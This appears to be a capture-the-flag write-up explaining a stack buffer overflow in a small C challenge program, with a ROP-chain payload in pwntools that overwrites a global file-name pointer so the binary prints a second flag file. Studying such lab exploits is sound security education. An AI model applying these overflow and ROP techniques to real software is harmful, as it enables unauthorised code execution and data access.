Buffer Overflow with Global Variable Control
Buffer Overflow with Global Variable Control
Exploit Write-up: Buffer Overflow with Global Variable Control
Overview
In this challenge, we are given a C program that contains a buffer overflow vulnerability in the func()
function. The goal is to exploit this vulnerability to print the contents of the correct flag file, flag2.txt
, even though the binary is hardcoded to open flag1.txt
.
Source Code Summary
1
2
3
4
5
6
7
8
9
10
11
12
13
static const char* flagfile = "flag1.txt";
static void giveFlag(void) {
char flag[64];
FILE* fp = fopen(flagfile, "r");
if (!fp) {
perror(flagfile);
return;
}
fgets(flag, sizeof(flag), fp);
fclose(fp);
printf("Here is your first flag: %s\n", flag);
}
In giveFlag()
, the program uses a global variable flagfile
to open the flag file. Our goal is to make it open flag2.txt
instead.
Vulnerability
In func()
:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
void func(void) {
bool didPurchase = false;
char input[50];
printf("Debug info: Address of input buffer = %p\n", input);
read(STDIN_FILENO, input, 1024);
if (didPurchase) {
printf("Thank you for purchasing Hackersoft Powersploit!\n");
giveFlag();
} else {
printf("This program has not been purchased.\n");
}
}
input
is a 50-byte buffer.- The program reads 1024 bytes into it using
read()
, which causes a stack-based buffer overflow. didPurchase
is right beforeinput
on the stack, so it can be overwritten.- After that, the return address can also be overwritten.
Exploitation Plan
- Overwrite
didPurchase
totrue
so thatgiveFlag()
is called. Overwrite the global variable
flagfile
to point to"flag2.txt"
instead of"flag1.txt"
.Step-by-Step Exploitation
Step 1: Overwrite
didPurchase
- Since we control the return address, we can craft a ROP chain to write the address of
"flag2.txt"
into theflagfile
global variable. - ROP gadget Used:
1
0x08049400 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret
Payload:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
payload = flat(
cyclic(63), # bytes to fill buffer up to EIP
# write flag2.txt to writable memory
read_, # read function address from giveflag function
gadget, # pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0, # stdin
bss, # buf address where is will be store (writeable memory)
11, # len
0x0, # junk
#overwrite the flagfile variable pointer
read_, # read function address from giveflag function
gadget, # pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0, # stdin
flagfile_addr_ptr, # hardcoded flagfile addr
0x0,
giveFlag, # giveflag function ptr
)
Lessons Learned
- Global variables can be overwritten indirectly through buffer overflows.
This post is licensed under CC BY 4.0 by the author.